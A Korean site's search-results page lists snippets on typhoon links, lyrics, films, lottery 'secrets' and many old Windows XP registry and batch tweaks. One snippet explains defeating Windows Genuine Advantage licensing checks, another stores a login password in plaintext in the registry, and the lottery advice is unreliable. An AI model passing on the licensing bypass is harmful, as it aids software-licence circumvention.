검색


자료검색


"ba" 키워드로 총 317건 검색되었습니다.


[이야기]  나라별 기상청 태풍정보 링크 한국 태풍정보 - https://www.weather.go.kr/plus/typ/report.jsp국가기상위성센터 위성영상 - http://nmsc.kma.go.kr/homepage/html/map/lambert/lambertMap.do나라별 경로 표기 - http://www.typhoon2000.ph/multi/?name=BAVI미국 합통 태풍경보센터(JTWC) - https://www.metoc.navy.mil/jtwc/jtwc.html?tropical일본 태풍정보 - http://www.jma.go.jp/en/t...
[이야기]  샨샤댐 구글맵 위치 링크 - The Three Gorges Dam Google map position https://www.google.com/maps/place/%EC%A4%91%EA%B5%AD+%ED%9B%84%EB%B2%A0%EC%9D%B4%EC%84%B1+%EC%9D%B4%EC%B0%BD%EC%8B%9C/@30.8236317,110.9988594,6458m/data=!3m1!1e3!4m5!3m4!1s0x3683853591dd9e2d:0x53547fef7c3de313!8m2!3d30.691966!4d111.286471?hl=ko중국 후베이성 이창시 위치하며,건설비 2,000억 위안(한화 약 34조원)으로,1994년 착공하...
[이야기]  F-35A, F-35B, F-35C 차이점과 국가별 도입 대수 [F-35 개요]F-35는 F-16/해리어/A-10 등 로우-미들급 전투기와 공격기를 모두 대체하는 기종으로, 미국의 P-38 라이트닝과 공동개발국인 영국의 BAC 라이트닝으로서, 이 두 기종 모두를 계승하겠다는 의미로 Lightning II가 되었다.[F-35A, F-35B, F-35C 차이]F-35A : 공군용 - 기관포 고정 장착 / 항속거리 2,200km / 가격 : 945억F-35B : 해병대용 - 수직 이착륙 가능(상륙작전) / 항속거리 2,200km / 가격:1,400억F-35C : 해군용 - 날개 접힘(항공모함 ...
[이야기]  국가별 코드표 목록, 국가코드 2자리(알파벳 약자, Country Code) 코드국가명 ad  안도라  ae  아랍에미리트  af  아프가니스탄  ag  앤티가 바부다  ai  앙귈라  al  알바니아  am  아르메니아  an  네덜란드령 안틸레스  ao  앙골라  aq  남극  ar  아르헨티나  arpa  구식 아르파네트  as&nb...
[이야기]  이름영문표기법 ㄱ 가 ga  각 gak  간 gan  갈 gal  감 gam  갑 gap 갓 gat 강 gang 개 gae 객 gaek 거 geo 건 geon 걸 geol 검 geom 겁 geop 게 ge 겨 gyeo 격 gyeok 견 gyeon 결 gyeol 겸 gyeom 겹 gyeop 경 gyeong 계 gye 고 go 곡 gok 곤 gon 골 gol 곳 got 공 gong 곶 got 과 gwa 곽 gwak 관 gwan 괄 gwal 광 gwang 괘 gwae 괴 goe 굉 goeng 교 gyo...
[이야기]  무엇이든 구두계약은 간편하지만 좋은 방법은 아니다. 구두계약 [口頭契約, verbal contract] 구두(口頭)나 불요식의 서면으로 하는 계약을 말한다. 서면으로 날인하는 날인계약(捺印契約, contract by seal)에 상대되는 개념으로 단순계약(simple contract)이라고도 한다. 명칭은 구두로 되어 있으나 단순히 구두로만 하는 것을 뜻하는 것이 아니며, 날인계약 이외의 모든 계약을 포함하는 용어이다. 일반적으로 서면계약을 하고 날인을 하는 경우와 동일한 효력을 갖긴 하나, 계약 당사자가 계약 자체를 부정하거나 계약의 내용을 달리 주장할 경우 입증하기가 쉽지 ...
[이야기]  당신은 어느쪽을 생각하고 있나요? IMPASSABLE => I'M PASSBALENO WHERE => NOW HERE고질병 => 고칠병당신은 어느쪽을 생각하고 있나요?
[이야기]  세계의 인사법 중국 : 니하오(마) - 한 손은 주먹 한손은 펴고 서로 부딪힌다.‘포권지례’라고 함 일본 : 오하이오, 곤니찌와, 곤방와 - 인사법과 인사예절은 세계최고수준이며,         각 시간대마다의 인사법과 인사하는 말이 다르다.         인사를 할때 양손은 배에 댄다. 그리고 여러번 굽힌다.         큰 손님이 오거...
[갤러리]  재미있는 곱하기 계산식  
[영화]  배틀쉽 Battleship, 2012 지구를 지키기 위한 전쟁이 바다에서 시작된다!전 세계 해군들이 한데 모여 훈련하는 림팩 다국적 해상 훈련. 해상 합동 훈련 첫날, 태평양 한 가운데에서 정체불명의 물체가 발견되고 쉐인 함장(리암 니슨)은 수색팀을 파견한다. 괴물체에 접근한 하퍼 대위(테일러 키취)가 몸체에 손을 가져다 댄 순간, 엄청난 충격과 함께 괴물체는 자신들을 보호하기 위한 거대한 장벽을 구축한다. 레이더도 통하지 않고, 부딪히는 순간 모든 걸 파괴시키는 엄청난 위력의 장벽을 시작으로 지구를 향한 대규모 선재 공격을 감행하는 외계의 존재들! 목적 조차 알...
[영화]  인 타임(2011) 줄거리커피 1잔.. 4분, 권총 1정.. 3년, 스포츠카 1대.. 59년! 모든 비용은 시간으로 계산된다!! 근 미래, 모든 인간은 25세가 되면 노화를 멈추고, 팔뚝에 새겨진 ‘카운트 바디 시계’에 1년의 유예 시간을 제공받는다. 이 시간으로 사람들은 음식을 사고, 버스를 타고, 집세를 내는 등, 삶에 필요한 모든 것을 시간으로 계산한다. 하지만, 주어진 시간을 모두 소진하고 13자리 시계가 0이 되는 순간, 그 즉시 심장마비로 사망한다. 때문에 부자들은 몇 세대에 걸쳐 시간을 갖고 영생을 누릴 수 있게 된 반면, 가난한 자...
[음악]  타루(Taru) 내겐 사랑하나(뉴하트OST) 난 그대를 너무 몰랐어요조그만 관심들까지도 그대의 소중한 마음까지 밀어냈죠난 그대 없는 하루가 이렇게 아픈 줄 몰라         괜한 투정으로 흔한 이유들로 나를 잊으라 말했죠이젠 무엇 하나 갖지 못하는 나 내게 남은 건 this is your love     다시는 누구도 내안에 담을 수 없어요 babe미안하단말로 돌아오란 말로 그댈 바라고 원하지만들리지 않겠죠 이젠 나를 지워가겠죠 난 그대뿐이죠      &...
[음악]  Francis Mercier & Stavro T ? Like A Ghost (feat. Jodi Ferguson) Feel the chills roll down your spineLost in the music lost in timeAnd Idon't wanna be a clicheBut it seems like things are going that wayI don't know what to say, say, say, sayWon't you hold meWon't you hold me dearHold me deep into the night and we'll be fearless togetherLike a ghostBaby yo...
[음악]  Jay Z & Alicia Keys - Empire State of Mind LIVE (Times Square, NYC 2016) Yea, yea I'm out that Brooklyn, now I'm down in TribecaRight next to DeNiro, but I'll be hood foreverI'm the new Sinatra, and, since I made it hereI can make it anywhere, yea, they love me everywhere I used to cop in Harlem,All of my Dominicano's right there up on Broadway,Pull me back to th...
[음악]  Amy Winehouse - Back To Black He left no time to regretKept his dick wetWith his same old safe betMe and my head highAnd my tears dryGet on without my guyYou went back to what you knewSo far removed from all that we went throughAnd I tread a troubled trackMy odds are stackedI'll go back to blackWe only said goodbye with word...
[음악]  Bad (feat. Vassy) (Radio Edit) I say why does it feel so good?So good to be badGetting what I want, boyWhy does that make you so mad?You see, why does it feel so good?So good to be bad'Cause if it's trouble that you're looking forOh baby, here I am (I am)Oh baby, here I amI said why does it feel so good?So good to be bad (B...
[음악]  에일리 - 미워도 사랑해 하루 이틀이 지나도 난 아직 여기 살아또 일 년 몇 년이 지나도 널 못 떠날 것만 같아난 너 때문에 한참을 울어가슴 속에 미움만을 남긴 채그런 너는 어디 있니 못 한 말이 남았는데Oh babyI’m so sorry 널 잊고 사는 게 맞는 건지I’m so sorry 이미 꺼져버린 너의 전화기미워도 아무리 니가 미워도이 빗속에서 흘린 눈물을 나 홀로 삼킨다What can I do 내가 어떡하길 바래Tell me what to do 말해줘 제발이대로 가지 마 혼자 또 하는 말널 지킬 수 없었지만난 너 때문에 한참을 울어가슴 속에 미...
[음악]  The Nolans - I\'m In the Mood for Dancing
[음악]  Justin Bieber - Beauty And A Beat ft. Nicki Minaj  Yeah Young Money, Nicki Minaj, Justin Show you off, tonight I wanna show you off (eh eh eh)너를 돋보이게 해. 난 오늘밤 너를 돋보이게 해주고 싶어.What you got, a billion could've never bought (eh eh eh)니가 가진 것은, 10억을 줘도 절대 살 수 없어. We gonna party like it's 3012 tonight우리는 3012년의 밤처럼 파티를 할거야I wanna s...
[로또]  게일하워드 로또 비법 * 이전에 나온 당첨번호낮은 수(23보다 낮은 수)만의 조합, 배수의 조합 등은 금물이다.이전에 나온 번호는 독실할 확률이 거의 없다.한 번 나온 번호가 다시 나오려면 확류적으로 15만 6635년이 걸린다.또 초보자들이 낮은 번호를 선호하는 경량이 있는데 이 번호 역시 당첨금이 적을 수 밖에 없다.배수의 조합(예를 들어 5_10_15_20_30)역시 당첨금이 적으므로 피하는것이 좋다.* 연속되는 6개의 수한 그룹의 수의 조합이(예를 들어 20대 수에서 6개를 다 뽑는 조합 20_22_23_26_27_29)1의 자리가 같은 수의...
[윈도우팁]  MSCOMCTL.OCX 오류 VB6 Visual Basic 6.0 프로젝트 열기 과정에 MSCOMCTL.OCX를 로드할수 없다고 나오는 경우VB6 프로젝트 파을을 메모장으로 열어 2.2를 2.0으로 수정Object={456FDD16-0C5C-11D2-A9FC-0000F8754123}#2.0#0; MSCOMCTL.OCX
[윈도우팁]  [Win7] "WindowsUpdate_80070422" "WindowsUpdate_dt000" 오류발생 아래의 내용을 메모장에 붙여넣기 후 "파일- 다른 이름으로 저장"클릭 후 바탕화면에 wu.bat 으로 저장 실행 합니다.sc config wuauserv start= autosc config bits start= autosc config DcomLaunch start= autonet stop wuauservnet start wuauservnet stop bitsnet start bitsnet start DcomLaunchnet start TrustedInstallernet start msiserver  이 후...
[윈도우팁]  윈도우에서 기본으로 지원하는 폰트 목록 돋움    : Dotum돋움체 : DotumChe 굴림    : Gulim굴림체 : GulimChe 바탕    : Batang바탕체 : BatangChe 궁서    : Gungsuh궁서체 : GungsuhChe 새굴림 : New Gulim 맑은 고딕 : Malgun Gothic 
[윈도우팁]  FTP서버 active와 passive mode의 차이 1. ACTIVE mode 전통적으로 21번 port를 server ftp port로 알고 있습니다. 이는 command를 위한 port이고 실제 data를 전송하기 위해서는 data전송을 위한 port를 사용합니다. 보통 data전송 port는 20번 port를 사용합니다.클라이언트는 1024번 이상의 빈 port를 골라서 command port로 사용하고 해당포트에 +1을 더한 port를 data port로 사용합니다. 예)1. 클라이언트가 서버 ftp에 접속하려고 1080번 port를 이용하여 서버 ftp에 접속 요청을...
[윈도우팁]  윈도우즈XP에서 네트웍 속도 100% 다 쓰기 윈xp는 혹시를 대비해서 네트웍 bandwidth의 몇프로를 여분으로 남겨두고 사용하지 않는다고 합니다. 시작->실행->gpedit.msc를 합니다. 그러면 그룹 정책 창이 뜨는데, 여기서 컴퓨터구성->관리템플릿->네트워크->QoS 패킷 스케줄러로 갑니다. 이 폴더(?)를 클릭하면 오른쪽창의 설정 중에 예약 대연 폭 제한 란 이 있는데 이를 더블 클릭 합니다. 그러면 등록 정보 창이 뜨는데 사용을 선택하십시오. 디폴트로 20%가 잡혀있는 게 보일 겁니다. 이걸 0으로 잡으면 그 여유 분을 잡지...
[윈도우팁]  윈도우XP 부팅에러시 NTLDR 복구 방법 윈도우XP를 사용하며서 갑작스런 정전이나 바이러스 감염 등으로 인하여 윈도우XP의 부팅이 되지 않거나 NTLDR is Missing 에러 메시지가 나타날 때가 있습니다. 이것은 부트로더에 관계된 파일의 손상으로 인한 것으로 부트로더에 관계되는 파일은 ntldr과 ntdetect.com 파일이 있습니다. 이때는 삭제되거나 손상된 파일을 복구콘솔로의 부팅을 하여 설치CD에서 NTLDR 파일을 복사하여 복구하시면 됩니다. 또한, 무한 재부팅이 되는 경우가 있는데...이 때도 역시 복구 콘솔을 이용하여 NTDETECT.COM 파일을 ...
[윈도우팁]  XP 오류 코드 표 6000 지정한 파일을 암호화할 수 없습니다. 6001 지정한 파일의 암호를 해독할 수 없습니다. 6002 지정한 파일은 암호화되었으며 사용자는 암호를 해독할 수 없습니다. 6003 이 시스템에는 올바른 암호 복구 정책이 없습니다. 6004 이 시스템에는 필요한 암호화 드라이버가 로드되지 않았습니다. 6005 현재 로드된 드라이버가 아닌 다른 암호화 드라이버로 파일이 암호화되었습니다. 6006 사용자에 대해 정의된 EFS 키가 없습니다. 6007 지정한 파일이 암호화되지 않았습니다. 6008 지정한 파일이 정의된 EFS 내보내...
[윈도우팁]  인터넷 익스플로러 로고 바꾸기 간단한 방법으로 인터넷 익스플로러의 로고를 바꿀 수 있다. 먼저 로고로 쓸 이미지를 준비한다(이때 그림 파일은 22×22픽셀의 bmp 형식이어야 한다). `실행` 창에 `regedit`를 입력하여 레지스트리 편집기를 수행한 다음 [HKEY_CURRENT_USER]→[Software]→[Microsoft]→[Internet Elorer]→[Toolbar]로 이동한다. 오른쪽 창에서 마우스 오른쪽 버튼을 눌러 [새로 만들기]→[문자열 값] 메뉴를 고른다. 새로운 문자열의 이름을 `SmBrandBitmap`로 바꾸고 `값 데이터`...
[윈도우팁]  윈도우 관련 명령어들 1. 프로그램명calc.exe 계산기cleanmgr.exe 디스크 정리cmd 명령프롬프트(도스창) 실행compmgmt.msc 컴퓨터 관리 실행 conf 원격관리 툴 netmeeting 실행 deltree 하위 디렉토리까지 삭제devmgmt.msc 장치 관리자 실행dfrg.msc "디스크 조각모음" 실행 diskmgmt.msc 디스크 관리 실행dxdiag 다이렉트X 상태 정보 화면eventvwr.msc 윈도우즈 메시지가 담긴 이벤트 조회explorer.exe 윈도우 탐색기fsmgmt.msc 공유 폴더 창gpedit.msc "로컬...
[윈도우팁]  Windows XP 로그인 시 계정 자동 선택 [시작] - [실행] - [Regedit] 로 레지스트리 편집기를 연 다음 regedit-->HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionWinlogon 항목에서 오른쪽마우스 클릭하여 새문자열값으로 다음값을 등록한다이름 값 AutoAdminLogon : 1 DefaultUserName : 계정 이름DefaultPassword : 계정 비밀번호 (없을 경우 빈칸)
[윈도우팁]  전세계 모든 파일 확장자 모음 $$$ 임시 파일 ACE ACE Archiver 압축 파일 ACF 마이크로소프트 에이전트, HTTP 문자 파일 ACL 코렐 드로우 6, 키보드 가속기 파일 ACM 윈도우 시스템 디렉토리 파일 ACM Fallout 1,2, Baulder's Gate, 인터플레이 압축 사운드 파일 ACM Dynamic Link Library (DLL) ACS 마이크로소프트 에이전트, 문자 구조의 저장 파일 AHQ AudioHQ 플러그인 모튤 AI 어도비 일러스트레이터 파일 AI 코렐 트레이스 드로잉 AIF, AIFF Audio Interchang...
[윈도우팁]  XP 정품인증 업데이트 무력화시키는법 탐색기실행 C 드라이브 ->Documents and Settings-> All Users->Application Data->Windows Genuine Advantage-> data폴더로 이동 data.dat파일을 data.bak으로 바꾸고 txt새파일을 하나 만든후 data.dat으로 바꿈. data.dat파일 마우스오른쪽->속성->읽기전용으로 체크하면 됨.
[윈도우팁]  bat(배치)파일 문법 1. 배치파일(Batch File, 일괄처리용 화일) 1. 1 배치파일? Batch(배치)는 '한 묶음','한벌'의 의미하며, 배치파일은 여러 가지 명령어를 한 파일에 모아 작업하는 파일, 즉 하나의 일을 처리하기 위해 여러번 내리는 명령어를 한 번만에 처리할 수 있도록 만들어 놓은 실행파일이다.   ① 확장자 이름은 반드시 'BAT'이어야 한다.  ② 파일명은 도스의 내부명령어 이름을 피하라.  ③ COM, EXE 파일의 이름을 피하라.  ④ 명령어 이름이 서로 같아 충돌할 때, DOS...
[윈도우팁]  윈도우 XP SP2에서 60초 카운트 조치 방법 일단, 카운트 다운을 멈추는 방법입니다.   - 시작 -> 실행 -> shutdown -a 입력하고, 엔터를 누릅니다. - 다른방법 작업표시줄에 보시면 시계가 있습니다. 시계를 더블 클릭하셔서 어제 날짜로 바꿔주시면 60초 남았다고 카운트 되는것이 하루 남았다고 카운트 됩니다.     그리고, 바이러스를 치료합니다.   바이러스를 치료한 후 밑에 링크 중에 운영체제에 맞는 업데이트를 해줍니다.   Blaster : KB823980 Windows 2000용 보안 업...
[윈도우팁]  레지스트 에서 휴지통삭제 배치화일 명령어 확장자는 *.bat 입니다.reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace\{645FF040-5081-101B-9F08-00AA002F954E}" /f
[윈도우팁]  XP 서비스 항목 최적화 자동: 부팅시 운영체제에의해 자동으로 드라이버가 로드된 후 실행.수동: 운영체제에 설치되어 있지만 프로그램이 해당 기능을 요청할 때에만 기동.사용 안함: 운영체제에 설치되어 있지만 현재 사용되지않는 서비스.   1 Alerter유닉스 시스템에서 관리자가 경고 메시지를 보낼 때 쓰는 것처럼 이용자와 컴퓨터에 관리용 경고 메시지를 보낸다. PC에서는 내 PC와 연결된 다른 사람이나 컴퓨터에 경고 메시지를 보낼 일이 없으니까 수동으로 된 초기값을 사용안함으로 바꾸자.초기값: 수동 → 권장값: 사용안함 &n...
[윈도우팁]  배치파일_XP용 부팅 속도 최적화.cmd -cmd 파일 내용 요약  (Prefetch 폴더 비우기→Task Scheduler 자동으로→Indexing Service 자동으로→c:temp.bat 파일 작성해서 부팅후 한번만 실행하도록 함(runonce) →재부팅→c:temp.bat 파일 실행(NTOSBOOT-B00DFAAD.pf 생길때까지 대기→ layout.ini 작성 →Indexing Service 사용안함, 정지 →c:temp.bat 삭제)   -아래 내용 실행후 서비스: task scheduler 가 자동으로 설정됨 -아래 내용 실행후...
[윈도우팁]  메모리 덤프란 무엇인가? 윈2000 윈XP사용자라면 누구나 한번쯤은 경험해 봤을만한 메모리오류의 일종이다 증상으로는 컴퓨터가 자동으로 재부팅 된다는 것이다 이것은 데이터처리를 위해 메모 리에 올라가있는 데이터가 서로 충돌을 일으키거나 잘못된 데이터로 채워서 강제적으로 메모리를 비우는 작업을 시작하는 시점이기도하다 원인 90%이상은 실제로 메인보드나 CPU, 램의 에러에서 기인하고 소프트웨어에서 기인하는 경우는 그 소프트웨어가 시스템의 과도하고 정밀한 성능을 요구하는 경우나 링 0 영역을 건들다 오류가 난 경우이다 이처럼 가끔씩 일어나는 메모리덤프는 큰...
[윈도우팁]  누가 내 PC 만졌어!  PC가 언제 켜졌는지 남이 내 PC를 만졌는지 알 수 있는 방법이 있다.시작 → 프로그램 → 보조프로그램의 메모장에서 다음과 같이 써 넣자.@echo offecho Windows 부팅 >>c:list.txtecho %date% %time% >>c:list.txtecho. >>c:list.txt파일 이름을 list.bat라고 저장한 뒤 저장한 파일을 시작 프로그램에 놓는다.c 드라이브에 들어가 list.txt 파일을 보면 PC를 켠 흔적이 남아있다.
[윈도우팁]  팝업창 띄우기 (IE7 팝업창 및 새창 주소표시줄 없애기) IE7에서는 보안문제로 인하여 팝업창이나 새창에서 주소가 표시된다.아마도 피싱문제와 같은 보안문제로 인한 것이 아닐까 생각된다.하지만 해당 내용을 감추려면 다음과 같이 하면 된다.인터넷옵션 -> 보안탭 -> 이 영역에 적용할 보안 수준 그룹의 사용자 지정 수준 을 선택하고 난 후에"웹 사이트에서 주소 또는 상태 표시줄 없이 창을 열도록 허용" 이라는 항목의 "사용"에 해당하는 체크박스를 체크후 적용하면 된다.
[윈도우팁]  인터넷 익스플로러(IE6, IE7, IE8) 동시에 같이 사용하기 인터넷 익스플로러(IE6, IE7, IE8) 동시에 같이 사용하기 [Software] 웹 표준과 크로스 브라우징 잘 만든 웹페이지라면 기본적으로 크로스 브라우징을 잘 지원해야 합니다. 물론 블로그도 마찬가지입니다. 이를 확인하는 데에는 특별한 방법이 있는 게 아니라, 코딩을 끝낸 후 여러 제품의 브라우저로 직접 테스트를 해보면 됩니다. W3C Validator로 표준 유효성 검사를 할 수도 있겠지만, 자신의 웹페이지가 유효성 검사를 통과하더라도 크로스 브라우징이 모두 해결된 것은 아닙니다. 현실적으로 모든 브라우저가 웹 표준...
[윈도우팁]  악성코드(Antivirus Pro 2010) 제거 방법 제목 : 안전 모드에서 악성코드(Antivirus Pro 2010) 제거 방법주소 : http://blog.naver.com/hahaj1/20090528388 ※ Antivirus Pro 2010 제거 관련 자료 링크 : http://www.bleepingcomputer.com/virus-removal/remove-antivirus-pro-2010http://www.411-spyware.com/remove-antivirus-pro-2010http://www.v3lite.com/customer/faq/view.do?seq=79 ...
[윈도우팁]  윈도우 XP 필요없는 서비스 중지하기 Microsoft는 Windows XP의 최소 사양으로 64M의 RAM, 권장 사양으로 128M의 RAM이 있어야 한다고 발표했습니다. 그러나 Windows XP는 이전 Windows 군에비해 훨씬 많은 서비스가 존재하며, 기본으로 설정된 서비스만 적재하는 경우에도 거의 128M의 RAM이 필요합니다. 따라서 XP를 사용하기위한 최소사양은 128M라는 얘기가 됩니다(커널 조차 메모리로 읽지 못한다면 나머지 응용 프로그램을 어떻게 실행할 수 있겠는가? 물론 실행은 가능합니다. 그러나 느린 하드로부터 매번 읽어야 하는 불편을 감...
[윈도우팁]  웹브라우저 (로딩 속도) 를 조금 올려 드립니다 ※ SP2 는 기본 10 으로 셋팅 돼 있습니다. 서비스팩을 설치 안하셨거나, 서비스팩1을 설치한 분 들은 확인해 보시고요.. -------------------------------------------------------------------------------------- - HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Wi nsock 이동하셔서 MaxSockAddrLength --------☞ 16진수 ( 10 ) --...
[윈도우팁]  XP 최적화 팁 자료 모음 1. DOS모드에서 XP설치하는 방법 2. 메뉴팝업속도를 빠르게 하기 3. CD-ROM 자동인식 비활성화 4. 인터넷익스플로러 로딩속도 향상법 5. 오류 보고(MS전송)창 나타나지 않게 하기 6. 입력도구모음 없애기 7. 에서 문서메뉴 삭제하기 8. 폴더창 속도향상하기 9. 임시인터넷 파일크기 최대한 줄이기 10. 다운로드 갯수 변경하는 방법 11. 에서 도움말메뉴 삭제하기 12. 윈도우 창이 뜨는 속도 높이기 13. 내컴퓨터등 기본아이콘 보이게하기 14. 폴더를 열었을때 화일아이콘의 화면출력(Refra...
[윈도우팁]  윈도우 부팅시 마다 로그화면 예전 바탕화면이 잠깐 떳다 사라짐 바탕화면을 바꿨는데 처음 부팅할때, 예전에 입력했던 바탕화면 그림이 잠시 떴다가 사라지며 원래 바꾼 바탕화면으로 돌아옴. (윈도우 부팅시 마다 로그화면 예전 바탕화면이 잠깐 떳다 사라짐) 원인 사용자 로그인 기능 때문으로, 제어판에서 암호 설정을 한적이 있거나, 부팅시 네트워크 로그인 화면에서 다른 사용자 명으로 확인 한적이 있을때 간혹 생기는 레지스트리 오류로 보입니다. 해결 1. 시작-> 실행-> regedit를 실행하여 편집->찾기 에서 바탕화면에 있는 그림파일 이름을 찾아 삭제 한 후 다시 설정 하면 됩...
[윈도우팁]  wdfmgr.exe 서비스 중지 하기 저처럼 궁금해 하는 사람이 있을까봐 여기에다 씁니다. 장치관리자를 실행해보면 이전에는 보이지 않던 두개의 프로세스가 보입니다. wmiprvse.exe 와 wdfmgr.exe 입니다. 처음에는 바이러스이거나 스파이웨어같은게 아닐까 싶었는데 아니라는 군요. 윈도우 미디어 플레이어 10을 설치하면 생기는 것이라는 군요. 관련 URL 붙여놓겠습니다. wdfmgr.exe 라는 것은 서비스 항목에서 사용안함으로 해도 된다는 군요. 그럼 이만 http://www.freedomlist.com/forum/viewtopic.php...
[윈도우팁]  하드디스크를 1:1 방식으로 통째로 복사하는 방법 1. xcopy 명령으로 하드디스크를 1:1 방식으로 통째로 복사하는 방법 xcopy (엑스카피) 명령어는 도스(DOS) 시절부터 외부 명령어로 사용되어 왔고, 초창기 윈도우즈 계열 (windows95, windows98, windows ME) 운영체제(OS)가 설치된 PC 라면 c:\windows\command 디렉토리(폴더)에 위치하고 있습니다. 그런데 windows XP 운영체제가 설치된 PC는 c:\windows\system32 에 위치하고 있으며, windows 2000 운영체제가 설치된 PC는 c:...
[윈도우팁]  윈도우XP 의 최고의 팁 30가지!! [1] DOS모드에서 윈도우XP설치하는 방법 XP cd의 i386아래에 있는 winnt.exe가 dos모드에서 XP를 설치하는 프로그램이다. [2] 메뉴팝업속도를 빠르게 하기 메뉴창이 열리는 속도가 느린것을 감지할수 있는데 빠르게 하는 방법이다. 시작 -< 실행창에서 regedit를 입력하여 레지스트리 편집창을 뛰운후 HKEY_CURRENT_USERControlPaneldesktop에서 MenuShowDelay항목의 값이 기본 400으로 셋팅되어 있는데 이 값을 0 에서 400 사이에서 바꾼다.(0의 값이 최...
[윈도우팁]  간단한 섹터 조작법을 소개 섹터 섹터(sector)란? -파일을 나누는 단위가 되는 것으로,512개의 아스키 코드들이 조합된 단위이다. 섹터를 조작할수 있는 프로그램 -Debug,Norton Disk Edit,PC-Tools등이 있는데 이 중에서 PC-Tools가 가장 많이 쓰여지고 있다. PC-TOOLS 는 대부분 가지고 있을것이다. 섹터 조작전 이론 습득 컴퓨터의 내부를 보면 아스키코드와 헥스 코드로 나누어진다. 학교 다닐때 진수변환이란것에 대해 수학시간에 배웠을 것이다. 바로 그 진수를 제대로 알아야 에디트를 할수있다. ...
[윈도우팁]  익스플로러 툴바에 그림 깔기 주소 : HKEY_CURRENT_USERSOFTWAREMicrosoftInternet ExplorerToolbar 윈도우즈 98에 있는 익스플로러의 툴바는 조금도 화려하지 않다. 무늬나 그림 없이 단순히 회색을 칠해 놓아 무척이나 삭막한 느낌이다. 레지스트리를 손보면 툴바에 멋진 배경 그림을 깔 수 있다. HKEY_CURRENT_USERSOFTWAREMicrosoftInternet ExplorerToolbar의 오른쪽 창에 커서를 대고 마우스 오른쪽 버튼을 누른 뒤 등록 → 문자열 값을 차례로 고른다. 키가 생기면 이름을 ...
[윈도우팁]  레지스터 팁(바탕화면) 바탕화면의 인터넷 익스플로러 아이콘 없애기 바탕화면에 있는 인터넷 익스플로러의 아이콘을 없애는 방법은 간단하다. 레지스트리 편집기를 연 다음 아래의 항목을 수정하고 재시동하면 바탕화면에 있는 인터넷 익스플로러의 아이콘이 없어진다. HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer DWORD : NointernetIcon 기본값 : 1 (다시 보이게 하려면 DWORD 항목을 없애거나 0으로 한다) 바탕화면의 네트워크 환...
[윈도우팁]  레지스터 팁(바탕화면) 바탕화면의 인터넷 익스플로러 아이콘 없애기 바탕화면에 있는 인터넷 익스플로러의 아이콘을 없애는 방법은 간단하다. 레지스트리 편집기를 연 다음 아래의 항목을 수정하고 재시동하면 바탕화면에 있는 인터넷 익스플로러의 아이콘이 없어진다. HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer DWORD : NointernetIcon 기본값 : 1 (다시 보이게 하려면 DWORD 항목을 없애거나 0으로 한다) 바탕화면의 네트워크 환...
[윈도우팁]  윈도우의 레지스트리 알기 흔히 말하는 레지스트리, 하지만 그에 대한 정리나 세부적인 내용은 잘 모르는 경우가 많을 것 입니다. 레지스트리는 마이크로소프트 조차 다 알 수 없다고 하니까요.. 그 레지스트리에 관해 표면적으로라도 알아 봅시다. 요약 - 윈도우95, 98, NT 시스템에서 사용하는 시스템 구성 정보를 저장한 데이터베이스 -레지스트리의 구조 레지스트리의 가장 큰 목적은 윈도우 폴더에 포함되었던 환경설정 파일(*.ini)의 기능을 저장하는 곳으로서 윈도우의 설치와 하드웨어 검색과정에서 발견되는 하드웨어 및 구성 정보 목록을 관리하는 곳...
[PC조립]  하드디스크 관리 10가지 사항 ①하드디스크를 마음데로 떼었다가 붙였다하면서 다른곳으로 절대 이동하지 않는다.백업용으로 이동할일이 많이 생길때나 교환방식을 사용할때는 하드랙을 구입해서(1만원정도) 사용한다. ②서로다른 용량 과 속도의 하드디스크를 같은 케이블에 연결하지 마라.왠만하면 시디롬을 세컨더리 슬레이브로 잡고&n...
[PC조립]  PC 조립 노하우「10가지 팁」 PC를 조립하는 것은 최적의 사양으로 맞출 수 있게 해주는 것은 물론 비용을 최소화시키는 장점이 있다. 그러나 많은 것을 계획하고 결정해야 한다. 이 글에서는 마더보드, 프로세서, 비디오 등을 고르는 법을 소개한다. PC 판매자의 수는 증가하고 MS가 7가지 신버전의 차기 윈도우를 출시하는 등 선택할 수 있는 것이 많아져 많은 전문가들이 새 시스템을 조립하려들지도 모르겠다. 조립하는 것은 비용을 조절할 수 있고 맞춤 PC를 갖게 될 기회를 제공한다. 처음 PC를 조립할 때 살펴봐야 할 10가지 방법을 소개한다. 1. 마더보드...
[개발이슈]  PHP POST 전송데이터 잘리는 현상 - php max_input_vars 설정 [이슈]PHP POST 전송시 잘리는 현상이 발생됨.phpinfo 출력시 max_input_vars 기본값 1000[조치사항]php.ini 파일을 열어 max_input_vars 검색 후 값을 높여줌혹 검색에도 없다면 추가 후 아파치 재시작max_input_vars 5000
[개발이슈]  [warn] module ssl_module is already loaded, skipping [이슈]Apache 재시작시 아래 오류메세지 발생[warn] module ssl_module is already loaded, skipping(98)Address already in use: make_sock: could not bind to address [::]:443[점검사항]443 열린포트 점검 : netstat -lnp | grep :443, 설정파일 점검[확인 및 조치사항]포트를 이미 사용중이라는 메세지이고보통 httpd.conf 파일에 include/*.conf 로 지정되므로 설정 변경시 백업파일이 *.conf라면...
[CSS]  input 및 textarea line-height 맞춤 스타일 <input type="text" size="50" style="height:21px; color:#333; padding:1px 4px 0; font:normal 12px/1.5em tahoma,gulim,serif; background:#fff; border:1px solid #aaa; border-color:#aaa #ccc #ccc #aaa;" /><textarea style="margin:0; overflow-y:visible; width:100%; height:80px; background-...
[CSS]  이미지 없이 테두리 둥글게 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="ko" lang="ko"><head><title>스타일을 이용한 테두리 둥글게</title><meta http-equiv="Content-Type" content...
[CSS]  CSS 선택자(Selector) - 동적 선택자 동적 선택자- :link, :visited, :hover, :active, :focus 수도 클래스- :first-child 수도 클래스- :first-line, :first-letter 수도 클래스CSS는 선언적인 특성을 가지고 있기 때문에 문서에 동적으로 스타일을 적용하기는 힘들지만 pseudo...
